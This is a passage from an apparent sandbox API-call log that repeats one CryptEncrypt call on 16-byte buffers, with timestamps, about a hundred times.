pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.110] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.111] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.112] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.113] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.114] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.115] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.116] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.117] CryptEncrypt (in: 